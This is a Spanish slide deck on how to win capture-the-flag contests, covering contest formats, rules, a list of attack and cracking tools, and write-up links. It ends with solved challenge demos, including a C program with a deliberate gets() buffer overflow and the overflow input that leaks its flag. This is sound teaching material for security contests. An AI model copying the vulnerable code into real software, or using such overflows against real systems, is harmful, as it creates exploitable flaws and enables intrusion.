Sunteți pe pagina 1din 40

aula 31337

Andrés Morales Zamudio


Advertencia
La organización no se hace responsable
por sus objetos de valor, cuidenlos
durante el CTF y en el evento.
Andrés Morales Zamudio
aula 31337

Andrés Morales Zamudio


Cómo ganar un CTF
En ésta presentación se hará un repaso
a los requisitos que se necesitan para
ganar un CTF, se revisarán los diversos
tipos y modalidades de CTF e inclusive
se realizarán demos de pruebas
realizadas en concursos anteriores.
Agenda

¿Quién soy?
¿Qué es un CTF?
CTFs conocidos
Modalidades
Reglas
Herramientas necesarias
Tipos de pruebas
CTF Limahack 2011
Demos
¿Cómo ganar?
¿Quién soy?

Geek
Me gustan los CTFs
Participo en CTFs desde el 2008
Participo en NULL-Life desde el 2010
¿Qué es un Capture The Flag?
¿Qué es un CTF?
¿Qué es un CTF?
¿Qué es un CTF?
¿Qué es un CTF?
Modalidades

• Clasificatoria
• En línea
• Finalistas
• Presencial
• Internacional
• Regional
• Universitario
• Por algún
evento
• Auspiciado
por alguna
empresa
Modalidades
CTFs conocidos

https://www.defcon.org/html/links/dc-ctf.html
https://csawctf.poly.edu/
http://2011.hack.lu/index.php/CaptureTheFlag
http://www.plaidctf.com/
http://wargame.nuitduhack.com/
http://www.codegate.org/2011/eng_2011/e_sub_2_1.html
http://padocon.org/ / http://twitter.com/#!/padocon
http://www.smpctf.com/
https://portal.securitybydefault.com/
Reglas

• No intentional denial of service (electronic, physical,


psychological, anything). If someone breaks a service in
the process of trying to gain access to it, that's not
considered intentional. (Though Kenshoto has designed
the services to be resilient, so this is uncommon.)
• Unlimited team size, but only 10 people at a time are
allowed at a given team's table (fire marshal will shut
down CTF if it gets crowded). This count includes
groupies and visitors. (The limit was lifted on Sunday.)
Herramientas Necesarias

Sistema operativo (Linux, Windows, OS X, etc)


VM (Vmware, VBOX, Boch, Qemu, etc)
Debugger (Ollydbg, Immunitydbg, gdb con init, etc)
Desensamblador (IDA)
Escaneador de puertos (nmap , queso, etc)
Analizador de Trafico (Wireshark)
Editor Hexadecimal (hexedit, Winhex, etc)
Buscador web (Google, Bing, etc)
Herramientas forenses (Sleuth Kit, Encase, FTK)
Recuperar contrasenas (John, Hydra, Medussa, Elcomsoft, etc)
Scripting (python, php, perl, c, bash, etc)
Herramientas Necesarias

Scripts para aplicaciones web (propios, nikto, sqlmap, etc)


Rainbow Tables
Hardware que lo soporte
Exploits públicos/privados/0day?
Muchas VMs (FreeBSD, BSD, Arch, Debian, WinXP/7)/x64
Redbull, cerveza, snacks, etc
Herramientas colaborativas (Pad, Wiki, IRC, Listas, etc)
Solucionarios pasados/hechos…
Tutoriales de explotacion, forense, binarios, etc
Cerebro, tiempo y muchas ganas…
Tipos de Pruebas

Extraido de DDTEK:

“Services range from poorly implemented or configured


crypto, SQL-injection, cross-site-scripting, buffer
overflows, timing attacks, heap exploits, malformed
network constructs, custom interpreters, the list is truly
endless. “
CTF Limahack 2011

Reglas

1. Se puede participar individualmente o en equipo


máximo de 3 integrantes previamente inscritos.

1. Solo está permitido atacar los servidores establecidos


para el torneo, estando prohibido atacar a otros
participantes u otros servidores disponibles.

2. Está prohibido compartir claves o soluciones entre


equipos.
CTF Limahack 2011

Retos

???
192.168.1.2

Web2 Explotación2
192.168.1.4 192.168.1.6

Web1 Explotación1
192.168.1.3 192.168.1.5
CTF Limahack 2011

Retos

??? 300p
192.168.1.2

Web2 200p Explotación2


192.168.1.4 192.168.1.6

Web1 100p Explotación1 100p


192.168.1.3 192.168.1.5
¿Como ganar?
¿Como ganar?

Herramientas listas y preparadas


Practicar, practicar y practicar…
Solicitar ayuda o esperar los tips de los organizadores
Una cerveza no mata ni emborracha a nadie…
Revisar solucionarios de CTFs pasados
Buscar un buen equipo
Participar en todos los CTFs y wargames que existan
Diviertanse!
¿Como ganar?

Solucionarios!
http://null-life.com/writeups/
http://www.plaidctf.com/writeups
http://www.painsec.com/index.php
http://blog.stalkr.net/search/label/ctf
http://blog.pepelux.org/tag/ctf/
http://leetmore.ctf.su/wp/tag/ctf/
http://www.sinfocol.org/category/retos-informaticos/
http://blog.beford.org/tag/ctf/
http://www.vnsecurity.net/c/capture-the-flag/
https://csawctf.poly.edu/writeups.php
¿Como ganar?
Demos

Retro Revisited 100p

“____ ___ ______!”


Demos

What common linux command was quoted in the popular


movie spiderman?
Demos

These folks speak a different language. Join their site and


translate the key for us.
Demos

These folks speak a different language. Join their site and


translate the key for us.
Demos

These folks speak a different language. Join their site and


translate the key for us.

#!/usr/bin/env python
import codecs, sys, socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.41.96.121', 8686))

while 1:
print s.recv(1024).decode('EBCDIC-CP-BE')
s.send(sys.stdin.readline().encode('EBCDIC-CP-BE'))
time.sleep(0.5)

s.close()
Demos

These folks speak a different language. Join their site and


translate the key for us.
cmd : n
5/21/2010 - Defcon qualifiers are underway.
5/18/2010 - It's Bob Randolph's birthday today, wish him well if you see him
5/16/2010 - It's IBM old timer's night at the bowling alley. The key thing to remember
at these things is that: once upon a time IBM ruled the world
4/29/2001 - First post! w00t!
Demos

Solo nos brindan un acceso SSH.


Exploitation101 - 100 Points
ssh csawctf.poly.edu:30000
user20011@csawctflocalexploitationubuntuserver64:~$ cat auth.c
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char** argv) {
volatile int auth = 0;
volatile char input[1337];
volatile ssize_t fd;
volatile char key[128];
volatile char password[16];
puts("Please enter your password.");
gets(input);
fd = open("/dev/urandom", O_RDONLY);
read(fd, password, 8);
if (strcmp(input, password) == 0) {
auth = 1;
}
if (auth) {
fd = open("flag", O_RDONLY);
read(fd, key, 127);
printf("%s\n", key);
fflush(stdout);
}

return 0;
}
Demos

Exploitation101 - 100 Points


ssh csawctf.poly.edu:30000
0x00000000004006d7 in main ()
(gdb)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x00000000004006dc in main ()
(gdb)

(gdb)
0x00000000004007ab in main ()
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x00000000004007ab in main ()
(gdb)
Program terminated with signal SIGSEGV, Segmentation fault.
...
Demos

Exploitation101 - 100 Points


ssh csawctf.poly.edu:30000
user20011@csawctflocalexploitationubuntuserver64:~$ ./auth
Please enter your password.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

key{party_like_1988}
Segmentation fault
Demos

En CSAW 2011

Para Bin 1,2,3 y 5

cat ../binary/key
Demos

Description

Category: forensics

All of the machines at the AED office are encrypted using the amazing
Truecrypt software.

When we grabbed one of their USB sticks from a computer, we also


grabbed the memory using the Firewire port.

Recover the key using the truecrypt image and the memory dump.

Download
Demos
¿PREGUNTAS?
GRACIAS!
Gracias por participar
muy pronto estamos en provincias
para más información ingresa a nuestra web

En el 2012 mucho más de nosotros…

andresmoraleszamudio@gmail.com / @andresmz

S-ar putea să vă placă și